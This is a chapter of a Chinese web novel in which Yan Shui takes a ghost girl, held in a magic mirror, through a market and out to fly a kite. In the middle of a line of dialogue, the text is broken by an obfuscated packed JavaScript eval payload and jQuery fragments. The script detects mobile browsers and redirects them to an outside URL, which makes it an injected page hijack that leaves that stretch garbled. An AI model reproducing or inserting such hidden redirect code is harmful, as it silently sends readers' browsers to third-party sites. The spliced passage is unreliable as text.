24. 幻心镜(九)
作品:《师妹如此多娇,竞折腰》 次日天公作美,碰巧是个有着微风的大晴天。
燕水按照约定的时间去花园,沉青青已经早早浮在海棠花旁朝这头眼巴巴张望着,看到燕水后很明显放松下来,转而小声喊道:“这里这里!”
燕水看她的表情还挺雀跃,大概能猜到她已经有所决断。
但她要她亲口说出来。
有些话必须得亲口说出来,连同这些日子的瘢痕一并剜出,才算终于给自己一个交代。
于是她听见沉青青很小声地嗫嚅:“我真的很没用是不是?哪怕这样,我还是觉得放不下明江。我昨夜想了很久很久,可是脑子里总在回荡他带我策马草原,在梵阿天下盟誓的场景。我永远也忘不了他望向我时专注的眼睛......”
燕水的心慢慢沉了下去。
她斟酌道:“这原不是你的问题,是他太奸猾。可沉青青,你的整条命都枉送在了这镜花水月中。你难道还要......”
沉青青摇了摇头,咬牙打断:“可不可以......帮帮我?”
燕水摸不清她的意图了,皱眉道:“什么?”
她说:“哪怕这样,我也知道我不能再被困在这里,明江......郁明江若是再要用我做什么恶,去戕害更多的人,我会自责死的......不对不对,我已经死了。”
“我是北夷的儿女,阿爹和阿娘都期盼我长成北夷生机勃勃的草,春风一吹就再次生发。可我没能长成绿油油的草。”
沉青青说着说着又开始小声抽噎起来:“我怕下了黄泉遇见了他们,他们会难过。”
“可不可以带我回家......我好想家啊......”
燕水有些生疏地对着虚空处沉青青的幻影伸手,摸了摸脑袋。
她缓声安慰:“这并没什么难的,很好满足。”
她又笑道:“郁明江没带你放过风筝吧?”
*
沉青青实在过于激动了。
自她被装进幻心镜里,一张小嘴叭叭的就没停过片刻。郁明江从来没有带她逛过南庆的市集,北夷又哪里有这些灵巧精致的玩意儿。
她在幻心镜里待的安生,眼睛却黏在各色小摊上下不来。燕水一路走,她一路叫。
“你看你看,这是什么?我们北夷也有这样的胡麻饼,每到祭祀家家户户都要做它,香极了。这是你们南庆的胡麻饼吗?”
燕水答:“普通烧饼。”
她又问:“看起来很好吃,可惜我不能尝尝。你可以帮我尝一个吗?”
燕水其实并不太爱吃饼食,她向来不爱吃这些干巴巴的东西,噎人得很。可还是缓步过去买了一个,还没放入口中就被人一把抢走。
燕水抬眼望去时,那可怜的烧饼已经被郁明河啃掉了大半。
郁明河咽下一口,道:“饿了,小水不介意吧?”
沉青青目瞪口呆:“你你你怎么也在?你喊她什么?她不是你嫂嫂吗?”
郁明河淡淡看了一眼幻心镜,“啧”了声:“装进幻心镜里还能说话呢?”
燕水安抚道:“没事的,你应该知道的,郁明河是自己人。他也一直在帮你。”
沉青青欲言又止了半天,再开口时情绪都收敛了不少。
她也跟着后面,很小声地喊“小水”:“小水小水,小水,那是什么?那个黄色的,好漂亮!那是什么装饰物吗?”
那是一个卖步摇的小摊子,几根手工缠好的步摇竖插在细木编成的板上。步摇不算精致,但件件小巧可爱,足见匠心。
燕水解释:“这是南庆女子妆点自己的发饰,插在头发上。走路时下面的细珠会随着步履轻轻摇动,摇曳生姿,很好看。”
她走上前,细细挑选了一支做工精细的步摇,钗头用线卷出云纹。丝毫不落俗套,反添清新飘逸之感。
“老伯,这个多少钱?”
“一支三文,两支五文。”
郁明河这时也递来一支步摇。钗头拗作燕子的形状,又用银色的丝线绑紧,上面缀着两颗红色的小珠子作燕子的眼睛,很是灵动。
他将一串铜板放在老人的摊面上:“这两支我都要了。”
那老伯探出一个脑袋:“小兄弟,是五文钱,这给的也太多了。”
郁明河摆了摆手:“今天天热。老伯,早些收摊吧。”
他将那支燕子步摇递给燕水,笑问道:“算是抢你烧饼的赔礼。那么是我帮你簪上去,还是你自己簪上去?”
沉青青若是还有一口气在,此时该被这亲昵的话语吓得气都喘不上来了。不过她现在也没好到哪里去,哆哆嗦嗦地问:“你......你们?”
燕水接过步摇:“其实不用什么赔礼,你若是饿了我再给你买一个。不过还是谢谢你。”
她又抽空回应沉青青的好奇:“什么?”
郁明河微眯着眼,出声打断道:“沉青青,这支是小水替你选的,谢她就好。”
于是燕水的注意力又被带偏:“不用这么客气,只是可惜你现在戴不上它。否则你原就生得漂亮,戴上它应该更好看才是。”
沉青青鼻子一酸。
这短暂的一生中,也有一些人曾夸过她“漂亮”。
她小时候,同族的人就都夸她漂亮,说她既有阿爹北夷人的明媚,又有阿娘南庆人的秀气。
后来,战争开始了,她去了北夷的军队里当歌女,其他歌女也夸她漂亮,有为她好的让她好好表现,最好在哪个将领面前混个眼熟,被收去作妾,总比漂泊无依好;也有眼酸的明里暗里给她使绊子,巴望着毁了她的这份“漂亮”。
可她听惯了阿娘口中南庆“一生一世一双人”的故事,心野了。
她偷偷溜出军营的那天,月色下,郁明江见到她的第一眼就别过了头,结巴地问她从哪里来。
她疑惑他为何不敢看她,郁明江仍然别过头小声道,因为她太漂亮了。
于是她远离故土,背井离乡,以为等待她的会是美好的未来,可到头来连命都搭在了这里。
她终于发现,这样的“漂亮”是一份穿肠毒药,无可解。
可偏偏燕水送给她簪子,帮她回家。又认认真真、不带任何目的、只给予而不掠夺地夸她“漂亮”。
这个词终于沉冤得雪。
毕竟是个涉世不深的小姑娘,沉青青又嚎啕大哭:“小水......小水......谢谢你,真的谢谢你......我来南庆之后,从来没有人对我这么好过......”
燕水又轻轻摇了摇头,难得现出些淘气:“这才到哪儿?你也太容易满足了。”
她又变戏法似的从背后变出来个风筝。风筝做的很精细,是纸糊的燕子,涂上了各种颜色。
燕水晃了晃风筝:“我刚问郁明河借的草场,今日正好有些微风。我们去放风筝,好不好?”
*
两人一鬼出发前又零零碎碎买了很多吃食。
大多都是沉青青看着眼馋心也馋的,虽然她不再能吃的了,但还是央求着燕水尝尝,尝完告诉她什么味道。
路过那些玩意儿摊子,如卖拨浪鼓的、小风车的、各色陀螺、九连环、香包、滚灯等等,燕水总会给沉青青买上一个,再玩一遍给她看。
玩好后丢进郁明河怀里:“这个,还有这个,后面一并带去北夷,和她埋在一起。”
沉青青非常开心,一个劲道“好神奇啊”,“小水好厉害啊”。
郁明河跟在后面收拾,默默听燕水和沉青青商量:“如果可以,遗骸我也想找人帮你移回北夷。落叶归根,你总是会想回家的。”
沉青青害羞道:“那我头上那株海棠花能不能一起移栽过去呀?我觉得好香呢
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16031207|176703||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”
燕水答:“当然可以,不过海棠花有些娇贵,不知道能不能在北夷养活。”
沉青青道:“那就算啦。不过你要说到做到哦,把这些买给我的东西都和我埋在一起。”
燕水点点头:“一言为定。”
草场上的青草碧绿一片。
沉青青一被燕水放出来,立刻要躺上草地打滚,却又无奈自己根本没法躺上去,只能虚虚浮在上面。
她又撅起了嘴:“哎哎哎,人死了干什么都干不了了,想在草地上打个滚也不能了。”
她望着这片草场,眼里满是怀念:“这片草地已经很宽了,可北夷的草地比这还要夸广,还要深。一眼望不到头,风吹过时一层层铺天盖地,可好看了!”
郁明河背着几大包玩意儿跟在后面,颇有些怨气。此刻更是没什么好话:“知足吧,我这片草场已然是南庆最好的草场。若不是小水开口,我断然不会请你来。”
有燕水保护,沉青青此刻胆子大了许多。再者,经过此前种种,她早就看出郁明河居心不良。
她“咦”了一声,反过来变成护崽的母鸡:“郁明河,我刚刚就想问了,你怎么敢打小水的主意?”
燕水把风筝纸摊在草地上铺平整:“他信口胡说,嘴里没什么正经话。你若是真信了他,就太可笑了。总之不用理他。”
沉青青愣了愣,望向燕水淡然的神情,又看看郁明河微微崩紧的下颌。
郁明河之心,已然路人皆知。
可燕水不知,不信,不作为。
沉青青有些想笑,这什么个事儿啊。
不过这样也不错。这小子眼光好,可性格却一点也不好,是该让他吃吃感情的苦。
燕水铺好风筝,又将风筝线放出来一些,她朝沉青青眨了眨眼:“不消片刻,我就能让它飞上天去。”
沉青青睁大了眼睛:“真的吗?”
燕水自信点了点头。她手腕一抖,那风筝便如通灵一般,顺着风势轻轻跃起。
只见她纤指翻飞,时而收线,时而放索,那彩燕便越飞越高,在碧空中划出一道飘逸的弧线。
“瞧好了!”燕水轻喝一声,忽然疾奔数步。
衣袂翻飞间,她手中的丝线绷得笔直。纸鸢竟似得了敕令,猛地一个腾跃,直上九霄。
沉青青不禁拍手赞道:"好厉害!"
燕水唇角微扬,指尖轻轻一挑。那风筝便在空中连翻三个跟头,最后稳稳停在最高处,宛若一颗璀璨的星辰,俯瞰着人间春色。
郁明河静静看着她,只觉得整颗心都被她的神采照得亮堂堂,再混着这满眼的绿和和煦的风,被搅作一团。
又在不经意间冒出几个轻盈的小泡,让他的胸腔也像被草拂过一般,痒痒的。
燕水拉着风筝跑,沉青青一开始就跟着燕水飘。
飘着飘着沉青青突然大笑起来,她说她好久没这么开心过了。
她说她好久没看过这么大片的草地,好久没放过风筝了。
接着又哭,哭的惊天动地。
哭自己识人不清,哭自己没见过好的,三言两语就被郁明江哄骗,又大大咧咧地骂郁明江是混蛋。
最后哭累了,她又飘在草地上,抱着脑袋看着天空。
“小水,我要不要去杀了郁明江替自己报仇?”
燕水惊愕,但她支持:“怎样都好,你做什么决定我都会帮你。”
于是沉青青又感动地哭哭啼啼,非要贴上去抱住燕水。
她拿阴冷的虚体往燕水身上贴,且口不择言:“小水。我要是个男子,我也必定会爱上你。”
一旁的郁明河实在忍无可忍。
他将寒冰般的目光投射到沉青青的幻影上,冷淡开口。
“是啊,可惜了。就算你下辈子投胎成个男子,也来不及了。”

